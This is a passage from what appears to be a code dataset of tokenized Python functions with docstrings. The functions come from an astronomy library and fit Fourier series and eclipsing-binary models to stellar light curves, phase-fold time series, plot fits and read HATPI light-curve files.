list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        If True, will treat the input values of `mags` as fluxes for purposes of\n        plotting the fit and sig-clipping.\n\n    plotfit : str or False\n        If this is a string, this function will make a plot for the fit to the\n        mag/flux time-series and writes the plot to the path specified here.\n\n    ignoreinitfail : bool\n        If this is True, ignores the initial failure to find a set of optimized\n        Fourier parameters using the global optimization function and proceeds\n        to do a least-squares fit anyway.\n\n    verbose : bool\n        If True, will indicate progress and warn of any problems.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict containing the model fit parameters, the\n        minimized chi-sq value and the reduced chi-sq value. The form of this\n        dict is mostly standardized across all functions in this module::\n\n            {\n                'fittype':'legendre',\n                'fitinfo':{\n                    'legendredeg': the Legendre polynomial degree used,\n                    'fitmags': the model fit mags,\n                    'fitepoch': the epoch of minimum light for the fit,\n                },\n                'fitchisq': the minimized value of the fit's chi-sq,\n                'fitredchisq':the reduced chi-sq value,\n                'fitplotfile': the output fit plot if fitplot is not None,\n                'magseries':{\n                    'times':input times in phase order of the model,\n                    'phase':the phases of the model mags,\n                    'mags':input mags/fluxes in the phase order of the model,\n                    'errs':errs in the phase order of the model,\n                    'magsarefluxes':input value of magsarefluxes kwarg\n                }\n            }", "id": "f14681:m2"}
{"signature": "def _fourier_func(fourierparams, phase, mags):", "body": "<EOL>order = int(len(fourierparams)/<NUM_LIT:2>)<EOL>f_amp = fourierparams[:order]<EOL>f_pha = fourierparams[order:]<EOL>f_orders = [f_amp[x]*npcos(<NUM_LIT>*pi_value*x*phase + f_pha[x])<EOL>for x in range(order)]<EOL>total_f = npmedian(mags)<EOL>for fo in f_orders:<EOL><INDENT>total_f += fo<EOL><DEDENT>return total_f<EOL>", "docstring": "This returns a summed Fourier cosine series.\n\n    Parameters\n    ----------\n\n    fourierparams : list\n        This MUST be a list of the following form like so::\n\n            [period,\n             epoch,\n             [amplitude_1, amplitude_2, amplitude_3, ..., amplitude_X],\n             [phase_1, phase_2, phase_3, ..., phase_X]]\n\n        where X is the Fourier order.\n\n    phase,mags : np.array\n        The input phase and magnitude areas to use as the basis for the cosine\n        series. The phases are used directly to generate the values of the\n        function, while the mags array is used to generate the zeroth order\n        amplitude coefficient.\n\n    Returns\n    -------\n\n    np.array\n        The Fourier cosine series function evaluated over `phase`.", "id": "f14682:m0"}
{"signature": "def _fourier_chisq(fourierparams,<EOL>phase,<EOL>mags,<EOL>errs):", "body": "f = _fourier_func(fourierparams, phase, mags)<EOL>chisq = npsum(((mags - f)*(mags - f))/(errs*errs))<EOL>return chisq<EOL>", "docstring": "This is the chisq objective function to be minimized by `scipy.minimize`.\n\n    The parameters are the same as `_fourier_func` above. `errs` is used to\n    calculate the chisq value.", "id": "f14682:m1"}
{"signature": "def _fourier_residual(fourierparams,<EOL>phase,<EOL>mags):", "body": "f = _fourier_func(fourierparams, phase, mags)<EOL>residual = mags - f<EOL>return residual<EOL>", "docstring": "This is the residual objective function to be minimized by `scipy.leastsq`.\n\nThe parameters are the same as `_fourier_func` above.", "id": "f14682:m2"}
{"signature": "def fourier_fit_magseries(times, mags, errs, period,<EOL>fourierorder=None,<EOL>fourierparams=None,<EOL>sigclip=<NUM_LIT>,<EOL>magsarefluxes=False,<EOL>plotfit=False,<EOL>ignoreinitfail=True,<EOL>verbose=True):", "body": "stimes, smags, serrs = sigclip_magseries(times, mags, errs,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes)<EOL>nzind = npnonzero(serrs)<EOL>stimes, smags, serrs = stimes[nzind], smags[nzind], serrs[nzind]<EOL>phase, pmags, perrs, ptimes, mintime = (<EOL>get_phased_quantities(stimes, smags, serrs, period)<EOL>)<EOL>if fourierorder and fourierorder > <NUM_LIT:0> and not fourierparams:<EOL><INDENT>fourieramps = [<NUM_LIT>] + [<NUM_LIT>]*(fourierorder - <NUM_LIT:1>)<EOL>fourierphas = [<NUM_LIT:0.1>] + [<NUM_LIT:0.1>]*(fourierorder - <NUM_LIT:1>)<EOL>fourierparams = fourieramps + fourierphas<EOL><DEDENT>elif not fourierorder and fourierparams:<EOL><INDENT>fourierorder = int(len(fourierparams)/<NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>fourierorder = <NUM_LIT:3><EOL>fourieramps = [<NUM_LIT>] + [<NUM_LIT>]*(fourierorder - <NUM_LIT:1>)<EOL>fourierphas = [<NUM_LIT:0.1>] + [<NUM_LIT:0.1>]*(fourierorder - <NUM_LIT:1>)<EOL>fourierparams = fourieramps + fourierphas<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (fourierorder,<EOL>len(phase),<EOL>period,<EOL>mintime))<EOL><DEDENT>initialfit = spminimize(_fourier_chisq,<EOL>fourierparams,<EOL>method='<STR_LIT>',<EOL>args=(phase, pmags, perrs))<EOL>if initialfit.success or ignoreinitfail:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL><DEDENT>leastsqparams = initialfit.x<EOL>try:<EOL><INDENT>leastsqfit = spleastsq(_fourier_residual,<EOL>leastsqparams,<EOL>args=(phase, pmags))<EOL><DEDENT>except Exception as e:<EOL><INDENT>leastsqfit = None<EOL><DEDENT>if leastsqfit and leastsqfit[-<NUM_LIT:1>] in (<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>finalparams = leastsqfit[<NUM_LIT:0>]<EOL>fitmags = _fourier_func(finalparams, phase, pmags)<EOL>fitchisq = npsum(<EOL>((fitmags - pmags)*(fitmags - pmags)) / (perrs*perrs)<EOL>)<EOL>fitredchisq = fitchisq/(len(pmags) - len(finalparams) - <NUM_LIT:1>)<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>' %<EOL>(fitchisq,fitredchisq)<EOL>)<EOL><DEDENT>if not magsarefluxes:<EOL><INDENT>fitmagminind = npwhere(fitmags == npmax(fitmags))<EOL><DEDENT>else:<EOL><INDENT>fitmagminind = npwhere(fitmags == npmin(fitmags))<EOL><DEDENT>if len(fitmagminind[<NUM_LIT:0>]) > <NUM_LIT:1>:<EOL><INDENT>fitmagminind = (fitmagminind[<NUM_LIT:0>][<NUM_LIT:0>],)<EOL><DEDENT>returndict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':fourierorder,<EOL>'<STR_LIT>':finalparams,<EOL>'<STR_LIT>':initialfit,<EOL>'<STR_LIT>':leastsqfit,<EOL>'<STR_LIT>':fitmags,<EOL>'<STR_LIT>':mintime,<EOL>'<STR_LIT>':ptimes[fitmagminind]<EOL>},<EOL>'<STR_LIT>':fitchisq,<EOL>'<STR_LIT>':fitredchisq,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':ptimes,<EOL>'<STR_LIT>':phase,<EOL>'<STR_LIT>':pmags,<EOL>'<STR_LIT>':perrs,<EOL>'<STR_LIT>':magsarefluxes<EOL>},<EOL>}<EOL>if plotfit and isinstance(plotfit, str):<EOL><INDENT>make_fit_plot(phase, pmags, perrs, fitmags,<EOL>period, mintime, mintime,<EOL>plotfit,<EOL>magsarefluxes=magsarefluxes)<EOL>returndict['<STR_LIT>'] = plotfit<EOL><DEDENT>return returndict<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':fourierorder,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':initialfit,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None<EOL>},<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':ptimes,<EOL>'<STR_LIT>':phase,<EOL>'<STR_LIT>':pmags,<EOL>'<STR_LIT>':perrs,<EOL>'<STR_LIT>':magsarefluxes<EOL>}<EOL>}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% initialfit.message)<EOL>return {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':fourierorder,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':initialfit,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None<EOL>},<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':ptimes,<EOL>'<STR_LIT>':phase,<EOL>'<STR_LIT>':pmags,<EOL>'<STR_LIT>':perrs,<EOL>'<STR_LIT>':magsarefluxes<EOL>}<EOL>}<EOL><DEDENT>", "docstring": "This fits a Fourier series to a mag/flux time series.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to fit a Fourier cosine series to.\n\n    period : float\n        The period to use for the Fourier fit.\n\n    fourierorder : None or int\n        If this is an int, will be interpreted as the Fourier order of the\n        series to fit to the input mag/flux times-series. If this is None and\n        `fourierparams` is specified, `fourierparams` will be used directly to\n        generate the fit Fourier series. If `fourierparams` is also None, this\n        function will try to fit a Fourier cosine series of order 3 to the\n        mag/flux time-series.\n\n    fourierparams : list of floats or None\n        If this is specified as a list of floats, it must be of the form below::\n\n            [fourier_amp1, fourier_amp2, fourier_amp3,...,fourier_ampN,\n             fourier_phase1, fourier_phase2, fourier_phase3,...,fourier_phaseN]\n\n        to specify a Fourier cosine series of order N. If this is None and\n        `fourierorder` is specified, the Fourier order specified there will be\n        used to construct the Fourier cosine series used to fit the input\n        mag/flux time-series. If both are None, this function will try to fit a\n        Fourier cosine series of order 3 to the input mag/flux time-series.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        If True, will treat the input values of `mags` as fluxes for purposes of\n        plotting the fit and sig-clipping.\n\n    plotfit : str or False\n        If this is a string, this function will make a plot for the fit to the\n        mag/flux time-series and writes the plot to the path specified here.\n\n    ignoreinitfail : bool\n        If this is True, ignores the initial failure to find a set of optimized\n        Fourier parameters using the global optimization function and proceeds\n        to do a least-squares fit anyway.\n\n    verbose : bool\n        If True, will indicate progress and warn of any problems.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict containing the model fit parameters, the\n        minimized chi-sq value and the reduced chi-sq value. The form of this\n        dict is mostly standardized across all functions in this module::\n\n            {\n                'fittype':'fourier',\n                'fitinfo':{\n                    'finalparams': the list of final model fit params,\n                    'leastsqfit':the full tuple returned by scipy.leastsq,\n                    'fitmags': the model fit mags,\n                    'fitepoch': the epoch of minimum light for the fit,\n                    ... other fit function specific keys ...\n                },\n                'fitchisq': the minimized value of the fit's chi-sq,\n                'fitredchisq':the reduced chi-sq value,\n                'fitplotfile': the output fit plot if fitplot is not None,\n                'magseries':{\n                    'times':input times in phase order of the model,\n                    'phase':the phases of the model mags,\n                    'mags':input mags/fluxes in the phase order of the model,\n                    'errs':errs in the phase order of the model,\n                    'magsarefluxes':input value of magsarefluxes kwarg\n                }\n            }\n\n        NOTE: the returned value of 'fitepoch' in the 'fitinfo' dict returned by\n        this function is the time value of the first observation since this is\n        where the LC is folded for the fit procedure. To get the actual time of\n        minimum epoch as calculated by a spline fit to the phased LC, use the\n        key 'actual_fitepoch' in the 'fitinfo' dict.", "id": "f14682:m3"}
{"signature": "def gaussianeb_fit_magseries(times, mags, errs,<EOL>ebparams,<EOL>sigclip=<NUM_LIT>,<EOL>plotfit=False,<EOL>magsarefluxes=False,<EOL>verbose=True):", "body": "stimes, smags, serrs = sigclip_magseries(times, mags, errs,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes)<EOL>nzind = npnonzero(serrs)<EOL>stimes, smags, serrs = stimes[nzind], smags[nzind], serrs[nzind]<EOL>ebperiod, ebepoch, ebdepth = ebparams[<NUM_LIT:0>:<NUM_LIT:3>]<EOL>if ebepoch is None:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>spfit = spline_fit_magseries(times, mags, errs, ebperiod,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>ebepoch = spfit['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>except Exception as e:<EOL><INDENT>sgfit = savgol_fit_magseries(times, mags, errs, ebperiod,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>ebepoch = sgfit['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>finally:<EOL><INDENT>if ebepoch is None:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>returndict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':ebparams,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>},<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':magsarefluxes,<EOL>},<EOL>}<EOL>return returndict<EOL><DEDENT>else:<EOL><INDENT>if ebepoch.size > <NUM_LIT:1>:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>ebparams[<NUM_LIT:1>] = ebepoch[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>% ebepoch<EOL>)<EOL><DEDENT>ebparams[<NUM_LIT:1>] = ebepoch.item()<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if magsarefluxes:<EOL><INDENT>if ebdepth < <NUM_LIT:0.0>:<EOL><INDENT>ebparams[<NUM_LIT:2>] = -ebdepth[<NUM_LIT:2>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if ebdepth > <NUM_LIT:0.0>:<EOL><INDENT>ebparams[<NUM_LIT:2>] = -ebdepth[<NUM_LIT:2>]<EOL><DEDENT><DEDENT>try:<EOL><INDENT>leastsqfit = spleastsq(eclipses.invgauss_eclipses_residual,<EOL>ebparams,<EOL>args=(stimes, smags, serrs),<EOL>full_output=True)<EOL><DEDENT>except Exception as e:<EOL><INDENT>leastsqfit = None<EOL><DEDENT>if leastsqfit and leastsqfit[-<NUM_LIT:1>] in (<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>finalparams = leastsqfit[<NUM_LIT:0>]<EOL>covxmatrix = leastsqfit[<NUM_LIT:1>]<EOL>fitmags, phase, ptimes, pmags, perrs = eclipses.invgauss_eclipses_func(<EOL>finalparams,<EOL>stimes, smags, serrs<EOL>)<EOL>fitchisq = npsum(<EOL>((fitmags - pmags)*(fitmags - pmags)) / (perrs*perrs)<EOL>)<EOL>fitredchisq = fitchisq/(len(pmags) - len(finalparams) - <NUM_LIT:1>)<EOL>residuals = leastsqfit[<NUM_LIT:2>]['<STR_LIT>']<EOL>residualvariance = (<EOL>npsum(residuals*residuals)/(pmags.size - finalparams.size)<EOL>)<EOL>if covxmatrix is not None:<EOL><INDENT>covmatrix = residualvariance*covxmatrix<EOL>stderrs = npsqrt(npdiag(covmatrix))<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>stderrs = None<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>' %<EOL>(fitchisq, fitredchisq)<EOL>)<EOL><DEDENT>fperiod, fepoch = finalparams[:<NUM_LIT:2>]<EOL>returndict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':ebparams,<EOL>'<STR_LIT>':finalparams,<EOL>'<STR_LIT>':stderrs,<EOL>'<STR_LIT>':leastsqfit,<EOL>'<STR_LIT>':fitmags,<EOL>'<STR_LIT>':fepoch,<EOL>},<EOL>'<STR_LIT>':fitchisq,<EOL>'<STR_LIT>':fitredchisq,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':phase,<EOL>'<STR_LIT>':ptimes,<EOL>'<STR_LIT>':pmags,<EOL>'<STR_LIT>':perrs,<EOL>'<STR_LIT>':magsarefluxes,<EOL>},<EOL>}<EOL>if plotfit and isinstance(plotfit, str):<EOL><INDENT>make_fit_plot(phase, pmags, perrs, fitmags,<EOL>fperiod, ptimes.min(), fepoch,<EOL>plotfit,<EOL>magsarefluxes=magsarefluxes)<EOL>returndict['<STR_LIT>'] = plotfit<EOL><DEDENT>return returndict<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>returndict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':ebparams,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':leastsqfit,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>},<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':magsarefluxes,<EOL>},<EOL>}<EOL>return returndict<EOL><DEDENT>", "docstring": "This fits a double inverted gaussian EB model to a magnitude time series.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to fit the EB model to.\n\n    period : float\n        The period to use for EB fit.\n\n    ebparams : list of float\n        This is a list containing the eclipsing binary parameters::\n\n            ebparams = [period (time),\n                        epoch (time),\n                        pdepth (mags),\n                        pduration (phase),\n                        psdepthratio,\n                        secondaryphase]\n\n        `period` is the period in days.\n\n        `epoch` is the time of primary minimum in JD.\n\n        `pdepth` is the depth of the primary eclipse:\n\n        - for magnitudes -> `pdepth` should be < 0\n        - for fluxes     -> `pdepth` should be > 0\n\n        `pduration` is the length of the primary eclipse in phase.\n\n        `psdepthratio` is the ratio of the secondary eclipse depth to that of\n        the primary eclipse.\n\n        `secondaryphase` is the phase at which the minimum of the secondary\n        eclipse is located. This effectively parameterizes eccentricity.\n\n        If `epoch` is None, this function will do an initial spline fit to find\n        an approximate minimum of the phased light curve using the given period.\n\n        The `pdepth` provided is checked against the value of\n        `magsarefluxes`. if `magsarefluxes = True`, the `ebdepth` is forced to\n        be > 0; if `magsarefluxes = False`, the `ebdepth` is forced to be < 0.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        If True, will treat the input values of `mags` as fluxes for purposes of\n        plotting the fit and sig-clipping.\n\n    plotfit : str or False\n        If this is a string, this function will make a plot for the fit to the\n        mag/flux time-series and writes the plot to the path specified here.\n\n    ignoreinitfail : bool\n        If this is True, ignores the initial failure to find a set of optimized\n        Fourier parameters using the global optimization function and proceeds\n        to do a least-squares fit anyway.\n\n    verbose : bool\n        If True, will indicate progress and warn of any problems.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict containing the model fit parameters, the\n        minimized chi-sq value and the reduced chi-sq value. The form of this\n        dict is mostly standardized across all functions in this module::\n\n            {\n                'fittype':'gaussianeb',\n                'fitinfo':{\n                    'initialparams':the initial EB params provided,\n                    'finalparams':the final model fit EB params,\n                    'finalparamerrs':formal errors in the params,\n                    'leastsqfit':the full tuple returned by scipy.leastsq,\n                    'fitmags': the model fit mags,\n                    'fitepoch': the epoch of minimum light for the fit,\n                },\n                'fitchisq': the minimized value of the fit's chi-sq,\n                'fitredchisq':the reduced chi-sq value,\n                'fitplotfile': the output fit plot if fitplot is not None,\n                'magseries':{\n                    'times':input times in phase order of the model,\n                    'phase':the phases of the model mags,\n                    'mags':input mags/fluxes in the phase order of the model,\n                    'errs':errs in the phase order of the model,\n                    'magsarefluxes':input value of magsarefluxes kwarg\n                }\n            }", "id": "f14683:m0"}
{"signature": "def get_phased_quantities(stimes, smags, serrs, period):", "body": "<EOL>mintime = np.min(stimes)<EOL>iphase = (stimes - mintime)/period - np.floor((stimes - mintime)/period)<EOL>phasesortind = np.argsort(iphase)<EOL>phase = iphase[phasesortind]<EOL>pmags = smags[phasesortind]<EOL>perrs = serrs[phasesortind]<EOL>ptimes = stimes[phasesortind]<EOL>return phase, pmags, perrs, ptimes, mintime<EOL>", "docstring": "Does phase-folding for the mag/flux time-series given a period.\n\n    Given finite and sigma-clipped times, magnitudes, and errors, along with the\n    period at which to phase-fold the data, perform the phase-folding and\n    return the phase-folded values.\n\n    Parameters\n    ----------\n\n    stimes,smags,serrs : np.array\n        The sigma-clipped and finite input mag/flux time-series arrays to\n        operate on.\n\n    period : float\n        The period to phase the mag/flux time-series at. stimes.min() is used as\n        the epoch value to fold the times-series around.\n\n    Returns\n    -------\n\n    (phase, pmags, perrs, ptimes, mintime) : tuple\n        The tuple returned contains the following items:\n\n        - `phase`: phase-sorted values of phase at each of stimes\n        - `pmags`: phase-sorted magnitudes at each phase\n        - `perrs`: phase-sorted errors\n        - `ptimes`: phase-sorted times\n        - `mintime`: earliest time in stimes.", "id": "f14685:m0"}
{"signature": "def make_fit_plot(phase, pmags, perrs, fitmags,<EOL>period, mintime, magseriesepoch,<EOL>plotfit,<EOL>magsarefluxes=False,<EOL>wrap=False,<EOL>model_over_lc=False):", "body": "<EOL>plt.close('<STR_LIT:all>')<EOL>plt.figure(figsize=(<NUM_LIT:8>,<NUM_LIT>))<EOL>if model_over_lc:<EOL><INDENT>model_z = <NUM_LIT:100><EOL>lc_z = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>model_z = <NUM_LIT:0><EOL>lc_z = <NUM_LIT:100><EOL><DEDENT>if not wrap:<EOL><INDENT>plt.plot(phase, fitmags, linewidth=<NUM_LIT>, color='<STR_LIT>',zorder=model_z)<EOL>plt.plot(phase,pmags,<EOL>marker='<STR_LIT:o>',<EOL>markersize=<NUM_LIT:1.0>,<EOL>linestyle='<STR_LIT:none>',<EOL>rasterized=True, color='<STR_LIT:k>',zorder=lc_z)<EOL>plt.gca().set_xticks(<EOL>[<NUM_LIT:0.0>,<NUM_LIT:0.1>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0.5>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:1.0>]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>plt.plot(np.concatenate([phase-<NUM_LIT:1.0>,phase]),<EOL>np.concatenate([fitmags,fitmags]),<EOL>linewidth=<NUM_LIT>,<EOL>color='<STR_LIT>',zorder=model_z)<EOL>plt.plot(np.concatenate([phase-<NUM_LIT:1.0>,phase]),<EOL>np.concatenate([pmags,pmags]),<EOL>marker='<STR_LIT:o>',<EOL>markersize=<NUM_LIT:1.0>,<EOL>linestyle='<STR_LIT:none>',<EOL>rasterized=True, color='<STR_LIT:k>',zorder=lc_z)<EOL>plt.gca().set_xlim((-<NUM_LIT>,<NUM_LIT>))<EOL>plt.gca().set_xticks(<EOL>[-<NUM_LIT>,-<NUM_LIT>,-<NUM_LIT>,-<NUM_LIT:0.5>,-<NUM_LIT>,-<NUM_LIT>,-<NUM_LIT>,-<NUM_LIT:0.1>,<EOL><NUM_LIT:0.0>,<NUM_LIT:0.1>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0.5>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>]<EOL>)<EOL><DEDENT>ymin, ymax = plt.ylim()<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>' %<EOL>(period, mintime, magseriesepoch))<EOL>plt.savefig(plotfit)<EOL>plt.close()<EOL>", "docstring": "This makes a plot of the LC model fit.\n\n    Parameters\n    ----------\n\n    phase,pmags,perrs : np.array\n        The actual mag/flux time-series.\n\n    fitmags : np.array\n        The model fit time-series.\n\n    period : float\n        The period at which the phased LC was generated.\n\n    mintime : float\n        The minimum time value.\n\n    magseriesepoch : float\n        The value of time around which the phased LC was folded.\n\n    plotfit : str\n        The name of a file to write the plot to.\n\n    magsarefluxes : bool\n        Set this to True if the values in `pmags` and `fitmags` are actually\n        fluxes.\n\n    wrap : bool\n        If True, will wrap the phased LC around 0.0 to make some phased LCs\n        easier to look at.\n\n    model_over_lc : bool\n        Usually, this function will plot the actual LC over the model LC. Set\n        this to True to plot the model over the actual LC; this is most useful\n        when you have a very dense light curve and want to be able to see how it\n        follows the model.\n\n    Returns\n    -------\n\n    Nothing.", "id": "f14685:m1"}
{"signature": "def read_hatpi_textlc(lcfile):", "body": "if '<STR_LIT>' in lcfile:<EOL><INDENT>thiscoldefs = COLDEFS + [('<STR_LIT>',float)]<EOL><DEDENT>elif '<STR_LIT>' in lcfile:<EOL><INDENT>thiscoldefs = COLDEFS + [('<STR_LIT>',float)]<EOL><DEDENT>elif '<STR_LIT>' in lcfile:<EOL><INDENT>thiscoldefs = COLDEFS + [('<STR_LIT>',float)]<EOL><DEDENT>LOGINFO('<STR_LIT>' % lcfile)<EOL>if lcfile.endswith('<STR_LIT>'):<EOL><INDENT>infd = gzip.open(lcfile,'<STR_LIT:r>')<EOL><DEDENT>else:<EOL><INDENT>infd = open(lcfile,'<STR_LIT:r>')<EOL><DEDENT>with infd:<EOL><INDENT>lclines = infd.read().decode().split('<STR_LIT:\\n>')<EOL>lclines = [x.split() for x in lclines if ('<STR_LIT:#>' not in x and len(x) > <NUM_LIT:0>)]<EOL>ndet = len(lclines)<EOL>if ndet > <NUM_LIT:0>:<EOL><INDENT>lccols = list(zip(*lclines))<EOL>lcdict = {x[<NUM_LIT:0>]:y for (x,y) in zip(thiscoldefs, lccols)}<EOL>for col in thiscoldefs:<EOL><INDENT>lcdict[col[<NUM_LIT:0>]] = np.array([col[<NUM_LIT:1>](x) for x in lcdict[col[<NUM_LIT:0>]]])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>lcdict = {}<EOL>LOGWARNING('<STR_LIT>' % lcfile)<EOL>for col in thiscoldefs:<EOL><INDENT>lcdict[col[<NUM_LIT:0>]] = np.array([])<EOL><DEDENT><DEDENT>hatid = HATIDREGEX.findall(lcfile)<EOL>lcdict['<STR_LIT>'] = hatid[<NUM_LIT:0>] if hatid else '<STR_LIT>'<EOL>lcdict['<STR_LIT>'] = [x[<NUM_LIT:0>] for x in thiscoldefs]<EOL>lcdict['<STR_LIT>'] = {<EOL>'<STR_LIT>':ndet,<EOL>'<STR_LIT>':hatid[<NUM_LIT:0>] if hatid else '<STR_LIT>',<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>}<EOL>framekeyelems = FRAMEREGEX.findall('<STR_LIT:\\n>'.join(lcdict['<STR_LIT>']))<EOL>lcdict['<STR_LIT>'] = np.array([(int(x[<NUM_LIT:0>]) if x[<NUM_LIT:0>].isdigit() else np.nan)<EOL>for x in framekeyelems])<EOL>lcdict['<STR_LIT>'] = 